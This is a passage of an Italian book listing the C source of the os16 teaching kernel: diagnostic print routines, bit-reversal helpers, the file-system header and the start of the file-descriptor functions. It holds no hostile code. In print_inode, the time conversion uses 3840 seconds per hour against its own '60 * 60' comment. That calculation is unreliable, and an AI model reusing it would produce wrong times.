180013       {
180014         k_printf ("%04" PRIx16, reverse_16_bit (element[i]));
180015       }
180016 }
```

105.3.9 kernel/diag/print_hex_32.c

Si veda la sezione 104.2.

```
190001 #include <sys/os16.h>
190002 #include <kernel/diag.h>
190003 #include <kernel/k_libc.h>
190004 #include <inttypes.h>
```

```
190005 #include <stdio.h>
190006 //----------------------------------------------------------------------
190007 void
190008 print_hex_32 (void *data, size_t elements)
190009 {
190010     uint32_t *element = (uint32_t *) data;
190011     int i;
190012     for (i = 0; i < elements; i++)
190013       {
190014         k_printf ("%08" PRIx32, (uint32_t) element[i]);
190015       }
190016 }
```

105.3.10 kernel/diag/print_hex_32_reverse.c

Si veda la sezione 104.2.

```
200001 #include <sys/os16.h>
200002 #include <kernel/diag.h>
200003 #include <kernel/k_libc.h>
200004 #include <inttypes.h>
200005 #include <stdio.h>
200006 //----------------------------------------------------------------------
200007 void
200008 print_hex_32_reverse (void *data, size_t elements)
200009 {
200010     uint32_t *element = (uint32_t *) data;
200011     int i;
200012     for (i = 0; i < elements; i++)
200013       {
200014         k_printf ("%08" PRIx32, reverse_32_bit (element[i]));
200015       }
200016 }
```

105.3.11 kernel/diag/print_hex_8.c

Si veda la sezione 104.2.

```
210001 #include <sys/os16.h>
210002 #include <kernel/diag.h>
210003 #include <kernel/k_libc.h>
210004 #include <inttypes.h>
210005 #include <stdio.h>
210006 //----------------------------------------------------------------------
210007 void
210008 print_hex_8 (void *data, size_t elements)
210009 {
210010     uint8_t *element = (uint8_t *) data;
210011     int i;
```

```
210012      for (i = 0; i < elements; i++)
210013        {
210014          k_printf ("%02" PRIx8, (uint16_t) element[i]);
210015        }
210016  }
```

105.3.12 kernel/diag/print_hex_8_reverse.c

Si veda la sezione 104.2.

```
220001  #include <sys/os16.h>
220002  #include <kernel/diag.h>
220003  #include <kernel/k_libc.h>
220004  #include <inttypes.h>
220005  #include <stdio.h>
220006  //----------------------------------------------------------------------
220007  void
220008  print_hex_8_reverse (void *data, size_t elements)
220009  {
220010      uint8_t *element = (uint8_t *) data;
220011      int i;
220012      for (i = 0; i < elements; i++)
220013        {
220014          k_printf ("%02" PRIx8, reverse_8_bit (element[i]));
220015        }
220016  }
```

105.3.13 kernel/diag/print_inode.c

Si veda la sezione 104.2.

```
230001  #include <sys/os16.h>
230002  #include <kernel/diag.h>
230003  #include <kernel/k_libc.h>
230004  //----------------------------------------------------------------------
230005  void
230006  print_inode (inode_t *inode)
230007  {
230008      unsigned long int seconds;
230009      unsigned long int seconds_d;
230010      unsigned long int seconds_h;
230011      unsigned int      d;
230012      unsigned int      h;
230013      unsigned int      m;
230014      unsigned int      s;
230015      dev_t             device_attached = 0;
230016      //
230017      if (inode == NULL)
230018        {
```

```
230019            return;
230020          }
230021        //
230022        seconds     = inode->time;
230023        d           = seconds / 86400L;              // 24 * 60 * 60
230024        seconds_d  = d;
230025        seconds_d *= 86400;
230026        seconds   -= seconds_d;
230027        h           = seconds / 3840;                // 60 * 60
230028        seconds_h  = h;
230029        seconds_h *= 3840;
230030        seconds   -= seconds_h;
230031        m           = seconds / 60;
230032        s           = seconds % 60;
230033        //
230034        if (inode->sb_attached != NULL)
230035          {
230036            device_attached = inode->sb_attached->device;
230037          }
230038        //
230039        k_printf ("%04x %4i %3i %c %4x %06o %4i %3i %7li ",
230040                  (unsigned int) inode->sb->device,
230041                  (unsigned int) inode->ino,
230042                  (unsigned int) inode->references,
230043                  (inode->changed ? '!' : ' '),
230044                  (unsigned int) device_attached,
230045                  (unsigned int) inode->mode,
230046                  (unsigned int) inode->uid,
230047                  (unsigned int) inode->gid,
230048                  (unsigned long int) inode->size);
230049
230050        k_printf ("%5i %2i:%02i:%02i %3i\n",
230051                  d, h, m, s,
230052                  (unsigned int) inode->links);
230053
230054    }
```

105.3.14 kernel/diag/print_inode_head.c

Si veda la sezione 104.2.

```
240001    #include <sys/os16.h>
240002    #include <kernel/diag.h>
240003    #include <kernel/k_libc.h>
240004    //----------------------------------------------------------------------
240005    void
240006    print_inode_head (void)
240007    {
240008        k_printf (" dev  ino ref c mntd   mode  uid gid    ");
240009        k_printf ("size  date     time lnk \n");
240010    }
```

105.3.15 kernel/diag/print_inode_list.c

Si veda la sezione 104.2.

```
250001 #include <sys/os16.h>
250002 #include <kernel/diag.h>
250003 #include <kernel/k_libc.h>
250004 //----------------------------------------------------------------------
250005 void
250006 print_inode_list (void)
250007 {
250008     ino_t ino;
250009     inode_t *inode = inode_reference (0, 0);
250010     print_inode_head ();
250011     for (ino = 0; ino < INODE_MAX_SLOTS; ino++)
250012       {
250013         if (inode[ino].references > 0)
250014           {
250015             print_inode (&inode[ino]);
250016           }
250017       }
250018 }
```

105.3.16 kernel/diag/print_inode_map.c

Si veda la sezione 104.2.

```
260001 #include <sys/os16.h>
260002 #include <kernel/diag.h>
260003 #include <kernel/k_libc.h>
260004 //----------------------------------------------------------------------
260005 void
260006 print_inode_map (sb_t *sb, uint16_t *bitmap)
260007 {
260008     size_t size;
260009     if (sb->inodes % 16)
260010       {
260011         size = sb->inodes/16 + 1;
260012       }
260013     else
260014       {
260015         size = sb->inodes/16;
260016       }
260017     print_hex_16_reverse (bitmap, size);
260018 }
```

105.3.17 kernel/diag/print_inode_zone_list.c

Si veda la sezione 104.2.

```
270001 #include <sys/os16.h>
270002 #include <kernel/diag.h>
270003 #include <kernel/k_libc.h>
270004 //----------------------------------------------------------------------
270005 void
270006 print_inode_zones_list (void)
270007 {
270008     ino_t ino;
270009     inode_t *inode = inode_reference (0, 0);
270010     print_inode_zones_head ();
270011     for (ino = 0; ino < INODE_MAX_SLOTS; ino++)
270012       {
270013         if (inode[ino].references > 0)
270014           {
270015             print_inode_zones (&inode[ino]);
270016           }
270017       }
270018 }
```

105.3.18 kernel/diag/print_inode_zones.c

Si veda la sezione 104.2.

```
280001 #include <sys/os16.h>
280002 #include <kernel/diag.h>
280003 #include <kernel/k_libc.h>
280004 //----------------------------------------------------------------------
280005 void
280006 print_inode_zones (inode_t *inode)
280007 {
280008     int i;
280009     //
280010     if (inode == NULL)
280011       {
280012         return;
280013       }
280014     //
280015     k_printf ("%04x %4i ",
280016               (unsigned int) inode->sb->device,
280017               (unsigned int) inode->ino);
280018
280019     for (i = 0; i < 7; i++)
280020       {
280021         if (inode->direct[i] != 0)
280022           {
280023             k_printf ("%04x ", (unsigned int) inode->direct[i]);
280024           }
```

```
280025              else
280026                {
280027                  k_printf ("     ");
280028                }
280029            }
280030          if (inode->indirect1 != 0)
280031            {
280032              k_printf ("%04x ",      (unsigned int) inode->indirect1);
280033            }
280034          else
280035            {
280036              k_printf ("     ");
280037            }
280038          if (inode->indirect2 != 0)
280039            {
280040              k_printf ("%04x",       (unsigned int) inode->indirect2);
280041            }
280042          else
280043            {
280044              k_printf ("    ");
280045            }
280046          k_printf ("\n");
280047      }
```

105.3.19 kernel/diag/print_inode_zones_head.c

Si veda la sezione 104.2.

```
290001  #include <sys/os16.h>
290002  #include <kernel/diag.h>
290003  #include <kernel/k_libc.h>
290004  //----------------------------------------------------------------------
290005  void
290006  print_inode_zones_head (void)
290007  {
290008      k_printf (" dev  ino zn_0 zn_1 zn_2 zn_3 zn_4 zn_5 zn_6 ");
290009      k_printf ("ind1 ind2\n");
290010  }
```

105.3.20 kernel/diag/print_kmem.c

Si veda la sezione 104.2.

```
300001  #include <sys/os16.h>
300002  #include <kernel/diag.h>
300003  #include <kernel/k_libc.h>
300004  //----------------------------------------------------------------------
300005  extern uint16_t _ksp;
300006  extern uint16_t _etext;
```

```
300007 extern uint16_t _edata;
300008 extern uint16_t _end;
300009 //----------------------------------------------------------------------
300010 void
300011 print_kmem (void)
300012 {
300013     k_printf ("etext=%04x edata=%04x ebss=%04x ksp=%04x",
300014               (unsigned int) &_etext,
300015               (unsigned int) &_edata, (unsigned int) &_end, _ksp);
300016 }
```

105.3.21 kernel/diag/print_mb_map.c

Si veda la sezione 104.2.

```
310001 #include <sys/os16.h>
310002 #include <kernel/diag.h>
310003 #include <kernel/k_libc.h>
310004 //----------------------------------------------------------------------
310005 void
310006 print_mb_map (void)
310007 {
310008     uint16_t    *mb = mb_reference ();
310009     unsigned int i;
310010     for (i = 0; i < (MEM_MAX_BLOCKS / 16); i++)
310011       {
310012         k_printf ("%04x", mb[i]);
310013       }
310014 }
```

105.3.22 kernel/diag/print_memory_map.c

Si veda la sezione 104.2.

```
320001 #include <sys/os16.h>
320002 #include <kernel/diag.h>
320003 #include <kernel/k_libc.h>
320004 //----------------------------------------------------------------------
320005 void
320006 print_memory_map (void)
320007 {
320008     uint16_t    *mem_block[MEM_BLOCK_SIZE/2];
320009     uint16_t     block_rank;
320010     unsigned int b;
320011     unsigned int m;
320012     unsigned int i;
320013     addr_t       start;
320014 
320015     start = 0;
```

```
320016     dev_io ((pid_t) -1, DEV_MEM, DEV_READ, start, mem_block,
320017             MEM_BLOCK_SIZE, NULL);
320018
320019     for (m = 0; m < MEM_MAX_BLOCKS; m++)
320020       {
320021         i = m % 16;
320022         if (i == 0)
320023           {
320024             block_rank = 0;
320025           }
320026         //
320027         for (b = 0; b < (MEM_BLOCK_SIZE / 2); b++)
320028           {
320029             if (mem_block[b])
320030               {
320031                 block_rank |= (0x8000 >> i);
320032                 break;
320033               }
320034           }
320035         //
320036         if (i == 15)
320037           {
320038             k_printf ("%04x", block_rank);
320039           }
320040         //
320041         start += MEM_BLOCK_SIZE;
320042         dev_io ((pid_t) -1, DEV_MEM, DEV_READ, start, mem_block,
320043                 MEM_BLOCK_SIZE, NULL);
320044       }
320045 }
```

105.3.23 kernel/diag/print_proc_head.c

Si veda la sezione 104.2.

```
330001 #include <sys/os16.h>
330002 #include <kernel/diag.h>
330003 #include <kernel/k_libc.h>
330004 //----------------------------------------------------------------------
330005 void
330006 print_proc_head (void)
330007 {
330008     k_printf (
330009 "pp  p pg                                                          \n"
330010 "id id rp  tty  uid euid suid usage s iaddr isiz daddr dsiz sp   name\n"
330011            );
330012 }
```

105.3.24 kernel/diag/print_proc_list.c

Si veda la sezione 104.2.

```
340001 #include <sys/os16.h>
340002 #include <kernel/diag.h>
340003 #include <kernel/k_libc.h>
340004 //----------------------------------------------------------------------
340005 void
340006 print_proc_list (void)
340007 {
340008     pid_t   pid;
340009     proc_t *ps;
340010     //
340011     print_proc_head ();
340012     //
340013     for (pid = 0; pid < PROCESS_MAX; pid++)
340014       {
340015         ps = proc_reference (pid);
340016         if (ps != NULL && ps->status > 0)
340017           {
340018             print_proc_pid (ps, pid);
340019           }
340020       }
340021 }
```

105.3.25 kernel/diag/print_proc_pid.c

Si veda la sezione 104.2.

```
350001 #include <sys/os16.h>
350002 #include <kernel/diag.h>
350003 #include <kernel/k_libc.h>
350004 //----------------------------------------------------------------------
350005 void
350006 print_proc_pid (proc_t *ps, pid_t pid)
350007 {
350008     char  stat;
350009     switch (ps->status)
350010       {
350011         case PROC_EMPTY    : stat = '-'; break;
350012         case PROC_CREATED  : stat = 'c'; break;
350013         case PROC_READY    : stat = 'r'; break;
350014         case PROC_RUNNING  : stat = 'R'; break;
350015         case PROC_SLEEPING: stat = 's'; break;
350016         case PROC_ZOMBIE   : stat = 'z'; break;
350017         default            : stat = '?'; break;
350018       }
350019 
350020     k_printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c %05lx %04x ",
350021               (unsigned int) ps->ppid,
```

```
350022                  (unsigned int) pid,
350023                  (unsigned int) ps->pgrp,
350024                  (unsigned int) ps->device_tty,
350025                  (unsigned int) ps->uid,
350026                  (unsigned int) ps->euid,
350027                  (unsigned int) ps->suid,
350028                  (unsigned int) ((ps->usage / CLOCKS_PER_SEC) / 60),
350029                  (unsigned int) ((ps->usage / CLOCKS_PER_SEC) % 60),
350030                  stat,
350031                  (unsigned long int) ps->address_i,
350032                  (unsigned int) ps->size_i);
350033
350034       k_printf ("%05lx %04x %04x %s",
350035                  (unsigned long int) ps->address_d,
350036                  (unsigned int) ps->size_d,
350037                  (unsigned int) ps->sp,
350038                                 ps->name);
350039
350040       k_printf ("\n");
350041   }
```

105.3.26 kernel/diag/print_segments.c

Si veda la sezione 104.2.

```
360001   #include <sys/os16.h>
360002   #include <kernel/diag.h>
360003   #include <kernel/k_libc.h>
360004   //----------------------------------------------------------------------
360005   void
360006   print_segments (void)
360007   {
360008       k_printf ("CS=%04x DS=%04x SS=%04x ES=%04x BP=%04x SP=%04x ",
360009                  cs (), ds (), ss (), es (), bp (), sp ());
360010       k_printf ("heap_min=%04x", heap_min ());
360011   }
```

105.3.27 kernel/diag/print_superblock.c

Si veda la sezione 104.2.

```
370001   #include <sys/os16.h>
370002   #include <kernel/diag.h>
370003   #include <kernel/k_libc.h>
370004   //----------------------------------------------------------------------
370005   void
370006   print_superblock (sb_t *sb)
370007   {
370008       k_printf ("Inodes:           %i\n", sb->inodes);
```

```
370009     k_printf ("Blocks:           %i\n", sb->zones);
370010     k_printf ("First data zone:  %i\n", sb->first_data_zone);
370011     k_printf ("Zone size:        %i\n", (1024 << sb->log2_size_zone));
370012     k_printf ("Max file size:    %li\n", sb->max_file_size);
370013     k_printf ("Inode map blocks: %i\n", sb->map_inode_blocks);
370014     k_printf ("Zone map blocks:  %i\n", sb->map_zone_blocks);
370015 }
```

105.3.28 kernel/diag/print_time.c

Si veda la sezione 104.2.

```
380001 #include <sys/os16.h>
380002 #include <kernel/diag.h>
380003 #include <kernel/k_libc.h>
380004 //----------------------------------------------------------------------
380005 void
380006 print_time (void)
380007 {
380008     unsigned long int ticks   = k_clock ();
380009     unsigned long int seconds = k_time (NULL);
380010     unsigned int      h       = seconds / 60 / 60;
380011     unsigned int      m       = seconds / 60 - h * 60;
380012     unsigned int      s       = seconds - m * 60 - h * 60 * 60;
380013     k_printf ("clock=%08lx, time elapsed=%02u:%02u:%02u",
380014               ticks, h, m, s);
380015 }
```

105.3.29 kernel/diag/print_zone_map.c

Si veda la sezione 104.2.

```
390001 #include <sys/os16.h>
390002 #include <kernel/diag.h>
390003 #include <kernel/k_libc.h>
390004 //----------------------------------------------------------------------
390005 void
390006 print_zone_map (sb_t *sb, uint16_t *bitmap)
390007 {
390008     size_t       size;
390009     unsigned int data_zones = sb->zones - sb->first_data_zone;
390010     if (data_zones % 16)
390011       {
390012         size = data_zones/16 + 1;
390013       }
390014     else
390015       {
390016         size = data_zones/16;
390017       }
```

```
390018     print_hex_16_reverse (bitmap, size);
390019 }
```

105.3.30 kernel/diag/reverse_16_bit.c

Si veda la sezione 104.2.

```
400001 #include <sys/os16.h>
400002 #include <kernel/diag.h>
400003 #include <kernel/k_libc.h>
400004 #include <inttypes.h>
400005 //----------------------------------------------------------------------
400006 uint16_t
400007 reverse_16_bit (uint16_t source)
400008 {
400009     uint16_t destination = 0;
400010     uint16_t mask_src;
400011     uint16_t mask_dst;
400012     int      i;
400013     for (i = 0; i < 16; i++)
400014       {
400015         mask_src = 0x0001 << i;
400016         mask_dst = 0x8000 >> i;
400017         if (source & mask_src)
400018           {
400019             destination |= mask_dst;
400020           }
400021       }
400022     return (destination);
400023 }
```

105.3.31 kernel/diag/reverse_32_bit.c

Si veda la sezione 104.2.

```
410001 #include <sys/os16.h>
410002 #include <kernel/diag.h>
410003 #include <kernel/k_libc.h>
410004 //----------------------------------------------------------------------
410005 uint32_t
410006 reverse_32_bit (uint32_t source)
410007 {
410008     uint32_t destination = 0;
410009     uint32_t mask_src;
410010     uint32_t mask_dst;
410011     int      i;
410012     for (i = 0; i < 32; i++)
410013       {
410014         mask_src = 0x00000001 << i;
```

```
410015          mask_dst = 0x80000000 >> i;
410016          if (source & mask_src)
410017            {
410018              destination |= mask_dst;
410019            }
410020        }
410021      return (destination);
410022  }
```

105.3.32 kernel/diag/reverse_8_bit.c

Si veda la sezione 104.2.

```
420001  #include <sys/os16.h>
420002  #include <kernel/diag.h>
420003  #include <kernel/k_libc.h>
420004  #include <inttypes.h>
420005  //----------------------------------------------------------------------
420006  uint8_t
420007  reverse_8_bit (uint8_t source)
420008  {
420009      uint8_t destination = 0;
420010      uint8_t mask_src;
420011      uint8_t mask_dst;
420012      int     i;
420013      for (i = 0; i < 8; i++)
420014        {
420015          mask_src = 0x01 << i;
420016          mask_dst = 0x80 >> i;
420017          if (source & mask_src)
420018            {
420019              destination |= mask_dst;
420020            }
420021        }
420022      return (destination);
420023  }
```

105.4 os16: «kernel/fs.h»

Si veda la sezione 104.3.

```
430001  #ifndef _KERNEL_FS_H
430002  #define _KERNEL_FS_H 1
430003
430004  #include <stdint.h>
430005  #include <sys/types.h>
430006  #include <kernel/memory.h>
430007  #include <sys/os16.h>
430008  #include <sys/stat.h>
```

```
430009 #include <stdint.h>
430010 #include <const.h>
430011 #include <stdio.h>
430012 #include <limits.h>
430013
430014 //----------------------------------------------------------------------
430015 #define SB_MAX_INODE_BLOCKS          1  // 8192 inodes max.
430016 #define SB_MAX_ZONE_BLOCKS           1  // 8192 data-zones max.
430017 #define SB_BLOCK_SIZE             1024  // Fixed for Minix file system.
430018 #define SB_MAX_ZONE_SIZE          2048  // log2 max is 1.
430019 #define SB_MAP_INODE_SIZE         (SB_MAX_INODE_BLOCKS*512) // [1]
430020 #define SB_MAP_ZONE_SIZE          (SB_MAX_ZONE_BLOCKS*512)  // [1]
430021 //
430022 // [1] blocks * (1024 * 8 / 16) = number of bits, divided 16.
430023 //
430024 //----------------------------------------------------------------------
430025 #define INODE_MAX_INDIRECT_ZONES  (SB_MAX_ZONE_SIZE/2)      // [2]
430026
430027 #define INODE_MAX_REFERENCES      0xFF
430028 //
430029 // [2] number of zone pointers contained inside a zone, used
430030 //     as an indirect inode list (a pointer = 16 bits = 2 bytes).
430031 //
430032 //----------------------------------------------------------------------
430033 typedef uint16_t        zno_t;          // Zone number.
430034 //----------------------------------------------------------------------
430035 // The structured type 'inode_t' must be pre-declared here, because
430036 // the type sb_t, described before the inode structure, has a member
430037 // pointing to a type 'inode_t'. So, must be declared previously
430038 // the type 'inode_t' as made of a type 'struct inode', then the
430039 // structure 'inode' can be described. But for a matter of coherence,
430040 // all other structured data declared inside this file follow the
430041 // same procedure.
430042 //
430043 typedef struct sb        sb_t;
430044 typedef struct inode     inode_t;
430045 typedef struct file      file_t;
430046 typedef struct fd        fd_t;
430047 typedef struct directory directory_t;
430048 //----------------------------------------------------------------------
430049 #define SB_MAX_SLOTS  2                 // Handle max 2 file systems.
430050
430051 struct sb {                             // File system super block:
430052     uint16_t      inodes;               // inodes available;
430053     uint16_t      zones;                // zones available (disk size);
430054     uint16_t      map_inode_blocks;     // inode bit map blocks;
430055     uint16_t      map_zone_blocks;      // data-zone bit map blocks;
430056     uint16_t      first_data_zone;      // first data-zone;
430057     uint16_t      log2_size_zone;       // log_2 (size_zone/block_size);
430058     uint32_t      max_file_size;        // max file size in bytes;
430059     uint16_t      magic_number;         // file system magic number.
430060     //------------------------------------------------------------------
```

```
430061      // Extra management data, not saved inside the file system
430062      // super block.
430063      //-----------------------------------------------------------------
430064      dev_t          device;                        // FS device [3]
430065      inode_t       *inode_mounted_on;              // [4]
430066      blksize_t      blksize;                       // Calculated zone size.
430067      int            options;                       // [5]
430068      uint16_t       map_inode[SB_MAP_INODE_SIZE];
430069      uint16_t       map_zone[SB_MAP_ZONE_SIZE];
430070      char           changed;
430071  };
430072
430073  extern sb_t    sb_table[SB_MAX_SLOTS];
430074  //
430075  // [3] the member 'device' must be kept at the same position, because
430076  //     it is used to calculate the super block header size, saved on
430077  //     disk.
430078  //
430079  // [4] If this pointer is not NULL, the super block is related to a
430080  //     device mounted on a directory. The inode of such directory is
430081  //     recorded here. Please note that it is type 'void *', instead of
430082  //     type 'inode_t', because type 'inode_t' is declared after type
430083  //     'sb_t'.
430084  //     Please note that the type 'sb_t' is declared before the
430085  //     type 'inode_t', but this member points to a type 'inode_t'.
430086  //     This is the reason because it was necessary to declare first
430087  //     the type 'inode_t' as made of 'struct inode', to be described
430088  //     later. For coherence, all derived type made of structured data,
430089  //     are first declared as structure, and then, later, described.
430090  //
430091  // [5] Mount options can be only 'MOUNT_DEFAULT' or 'MOUNT_RO',
430092  //     as defined inside file 'lib/sys/os16.h'.
430093  //
430094  //---------------------------------------------------------------------
430095  #define INODE_MAX_SLOTS           (8 * OPEN_MAX)
430096
430097  struct inode {                            // Inode (32 byte total):
430098      mode_t         mode;                  // file type and permissions;
430099      uid_t          uid;                   // user ID (16 bit);
430100      ssize_t        size;                  // file size in bytes;
430101      time_t         time;                  // file data modification time;
430102      uint8_t        gid;                   // group ID (8 bit);
430103      uint8_t        links;                 // links to the inode;
430104      zno_t          direct[7];             // direct zones;
430105      zno_t          indirect1;             // indirect zones;
430106      zno_t          indirect2;             // double indirect zones.
430107      //-----------------------------------------------------------------
430108      // Extra management data, not saved inside the disk file system.
430109      //-----------------------------------------------------------------
430110      sb_t          *sb;                    // Inode's super block. [7]
430111      ino_t          ino;                   // Inode number.
430112      sb_t          *sb_attached;           // [8]
```

```
430113      blkcnt_t      blkcnt;               // Rounded size/blksize.
430114      unsigned char references;           // Run time active references.
430115      char          changed;              // 1 == to be saved.
430116  };
430117
430118  extern inode_t inode_table[INODE_MAX_SLOTS];
430119  //
430120  // [7] the member 'sb' must be kept at the same position, because
430121  //     it is used to calculate the inode header size, saved on disk.
430122  //
430123  // [8] If the inode is a mount point for another device, the other
430124  //     super block pointer is saved inside 'sb_attached'.
430125  //
430126  //----------------------------------------------------------------------
430127  #define FILE_MAX_SLOTS             (16 * OPEN_MAX)
430128
430129  struct file {
430130      int           references;
430131      off_t         offset;               // File position.
430132      int           oflags;               // Open mode: r/w/r+w [9]
430133      inode_t      *inode;
430134  };
430135
430136  extern file_t file_table[FILE_MAX_SLOTS];
430137  //
430138  // [9] the member 'oflags' can get only O_RDONLY, O_WRONLY, O_RDWR,
430139  //     (from header 'fcntl.h') combined with OR binary operator.
430140  //
430141  //----------------------------------------------------------------------
430142  struct fd {
430143      int           fl_flags;             // File status flags and file
430144                                          // access modes. [10]
430145      int           fd_flags;             // File descriptor flags:
430146                                          // currently only FD_CLOEXEC.
430147      file_t       *file;                 // Pointer to the file table.
430148  };
430149  //
430150  // [10] the member 'fl_flags' can get only O_RDONLY, O_WRONLY, O_RDWR,
430151  //      O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC and O_APPEND
430152  //      (from header 'fcntl.h') combined with OR binary
430153  //      operator. Options like O_DSYNC, O_NONBLOCK, O_RSYNC and O_SYNC
430154  //      are not taken into consideration by os16.
430155  //
430156  //----------------------------------------------------------------------
430157  struct directory {                      // Directory entry:
430158      ino_t         ino;                  // inode number;
430159      char          name[NAME_MAX];       // file name.
430160  };
430161  //----------------------------------------------------------------------
430162  sb_t    *sb_reference    (dev_t device);
430163  sb_t    *sb_mount        (dev_t device, inode_t **inode_mnt,
430164                            int options);
```

```
430165 sb_t    *sb_get          (dev_t device, sb_t *sb);
430166 int      sb_save         (sb_t *sb);
430167 int      sb_zone_status  (sb_t *sb, zno_t zone);
430168 int      sb_inode_status (sb_t *sb, ino_t ino);
430169 //----------------------------------------------------------------------
430170 zno_t    zone_alloc           (sb_t *sb);
430171 int      zone_free            (sb_t *sb, zno_t zone);
430172 int      zone_read            (sb_t *sb, zno_t zone, void *buffer);
430173 int      zone_write           (sb_t *sb, zno_t zone, void *buffer);
430174 //----------------------------------------------------------------------
430175 inode_t *inode_reference      (dev_t device, ino_t ino);
430176 inode_t *inode_alloc          (dev_t device, mode_t mode, uid_t uid);
430177 int      inode_free           (inode_t *inode);
430178 inode_t *inode_get            (dev_t device, ino_t ino);
430179 int      inode_save           (inode_t *inode);
430180 int      inode_put            (inode_t *inode);
430181 int      inode_truncate       (inode_t *inode);
430182 zno_t    inode_zone           (inode_t *inode, zno_t fzone, int write);
430183 inode_t *inode_stdio_dev_make (dev_t device, mode_t mode);
430184 blkcnt_t inode_fzones_read    (inode_t *inode, zno_t zone_start,
430185                                void *buffer, blkcnt_t blkcnt);
430186 blkcnt_t inode_fzones_write   (inode_t *inode, zno_t zone_start,
430187                                void *buffer, blkcnt_t blkcnt);
430188 ssize_t  inode_file_read      (inode_t *inode, off_t offset,
430189                                void *buffer, size_t count, int *eof);
430190 ssize_t  inode_file_write     (inode_t *inode, off_t offset,
430191                                void *buffer, size_t count);
430192 int      inode_check          (inode_t *inode, mode_t type,
430193                                int perm, uid_t uid);
430194 int      inode_dir_empty      (inode_t *inode);
430195 //----------------------------------------------------------------------
430196 file_t  *file_reference       (int fno);
430197 file_t  *file_stdio_dev_make  (dev_t device, mode_t mode, int oflags);
430198 //----------------------------------------------------------------------
430199 inode_t *path_inode      (pid_t pid, const char *path);
430200 int      path_chdir      (pid_t pid, const char *path);
430201 dev_t    path_device     (pid_t pid, const char *path);
430202 int      path_full       (const char *path,
430203                           const char *path_cwd,
430204                           char *full_path);
430205 int      path_fix        (char *path);
430206 inode_t *path_inode_link (pid_t pid, const char *path, inode_t *inode,
430207                           mode_t mode);
430208 int      path_link       (pid_t pid, const char *path_old,
430209                           const char *path_new);
430210 int      path_mkdir      (pid_t pid, const char *path, mode_t mode);
430211 int      path_mknod      (pid_t pid, const char *path, mode_t mode,
430212                           dev_t device);
430213 int      path_mount      (pid_t pid, const char *path_dev,
430214                           const char *path_mnt,
430215                           int options);
430216 int      path_umount     (pid_t pid, const char *path_mnt);
```

```
430217 int      path_stat       (pid_t pid, const char *path,
430218                           struct stat *buffer);
430219 int      path_chmod      (pid_t pid, const char *path, mode_t mode);
430220 int      path_chown      (pid_t pid, const char *path, uid_t uid,
430221                           gid_t gid);
430222 int      path_unlink     (pid_t pid, const char *path);
430223 //----------------------------------------------------------------------
430224 fd_t    *fd_reference (pid_t pid, int *fdn);
430225 int      fd_chmod     (pid_t pid, int fdn, mode_t mode);
430226 int      fd_chown     (pid_t pid, int fdn, uid_t uid, gid_t gid);
430227 int      fd_close     (pid_t pid, int fdn);
430228 int      fd_fcntl     (pid_t pid, int fdn, int cmd, int arg);
430229 int      fd_dup       (pid_t pid, int fdn_old, int fdn_min);
430230 int      fd_dup2      (pid_t pid, int fdn_old, int fdn_new);
430231 off_t    fd_lseek     (pid_t pid, int fdn, off_t offset, int whence);
430232 int      fd_open      (pid_t pid, const char *path, int oflags,
430233                        mode_t mode);
430234 ssize_t  fd_read      (pid_t pid, int fdn, void *buffer, size_t count,
430235                        int *eof);
430236 int      fd_stat      (pid_t pid, int fdn, struct stat *buffer);
430237 ssize_t  fd_write     (pid_t pid, int fdn, const void *buffer,
430238                        size_t count);
430239 //----------------------------------------------------------------------
430240
430241 #endif
```

105.4.1 kernel/fs/fd_chmod.c

Si veda la sezione 104.3.1.

```
440001 #include <kernel/proc.h>
440002 #include <kernel/k_libc.h>
440003 #include <sys/stat.h>
440004 #include <errno.h>
440005 //----------------------------------------------------------------------
440006 int
440007 fd_chmod (pid_t pid, int fdn, mode_t mode)
440008 {
440009     proc_t   *ps;
440010     inode_t  *inode;
440011     //
440012     // Get process.
440013     //
440014     ps = proc_reference (pid);
440015     //
440016     // Verify if the file descriptor is valid.
440017     //
440018     if (ps->fd[fdn].file == NULL)
440019       {
440020         errset (EBADF);         // Bad file descriptor.
440021         return (-1);
```

```
440022         }
440023       //
440024       // Reach the inode.
440025       //
440026       inode = ps->fd[fdn].file->inode;
440027       //
440028       // Verify to be the owner, or at least to be UID == 0.
440029       //
440030       if (ps->euid != inode->uid && ps->euid != 0)
440031         {
440032           errset (EACCES);         // Permission denied.
440033           return (-1);
440034         }
440035       //
440036       // Update the mode: the file type is kept and the
440037       // rest is taken form the parameter 'mode'.
440038       //
440039       inode->mode = (S_IFMT & inode->mode) | (~S_IFMT & mode);
440040       //
440041       // Save the inode.
440042       //
440043       inode->changed = 1;
440044       inode_save (inode);
440045       //
440046       // Return.
440047       //
440048       return (0);
440049   }
```

105.4.2 kernel/fs/fd_chown.c

Si veda la sezione 104.3.2.

```
450001   #include <kernel/proc.h>
450002   #include <kernel/k_libc.h>
450003   #include <errno.h>
450004   //----------------------------------------------------------------------
450005   int
450006   fd_chown (pid_t pid, int fdn, uid_t uid, gid_t gid)
450007   {
450008       proc_t   *ps;
450009       inode_t  *inode;
450010       //
450011       // Get process.
450012       //
450013       ps = proc_reference (pid);
450014       //
450015       // Verify if the file descriptor is valid.
450016       //
450017       if (ps->fd[fdn].file == NULL)
450018         {
```

```
450019          errset (EBADF);          // Bad file descriptor.
450020          return (-1);
450021        }
450022      //
450023      // Reach the inode.
450024      //
450025      inode = ps->fd[fdn].file->inode;
450026      //
450027      // Verify to be root, as the ability to change group
450028      // is not taken into consideration.
450029      //
450030      if (ps->euid != 0)
450031        {
450032          errset (EACCES);         // Permission denied.
450033          return (-1);
450034        }
450035      //
450036      // Update the ownership.
450037      //
450038      if (uid != -1)
450039        {
450040          inode->uid     = uid;
450041          inode->changed = 1;
450042        }
450043      if (gid != -1)
450044        {
450045          inode->gid     = gid;
450046          inode->changed = 1;
450047        }
450048      //
450049      // Save the inode.
450050      //
450051      inode->changed = 1;
450052      inode_save (inode);
450053      //
450054      // Return.
450055      //
450056      return (0);
450057  }
```

105.4.3 kernel/fs/fd_close.c

Si veda la sezione 104.3.3.

```
460001  #include <kernel/proc.h>
460002  #include <kernel/k_libc.h>
460003  #include <errno.h>
460004  //----------------------------------------------------------------------
460005  int
460006  fd_close (pid_t pid, int fdn)
460007  {
```

```
460008      inode_t           *inode;
460009      file_t            *file;
460010      fd_t *fd;
460011      //
460012      // Get file descriptor.
460013      //
460014      fd = fd_reference (pid, &fdn);
460015      if (fd == NULL                ||
460016          fd->file == NULL          ||
460017          fd->file->inode == NULL )
460018        {
460019          errset (EBADF);         // Bad file descriptor.
460020          return (-1);
460021        }
460022      //
460023      // Get file.
460024      //
460025      file = fd->file;
460026      //
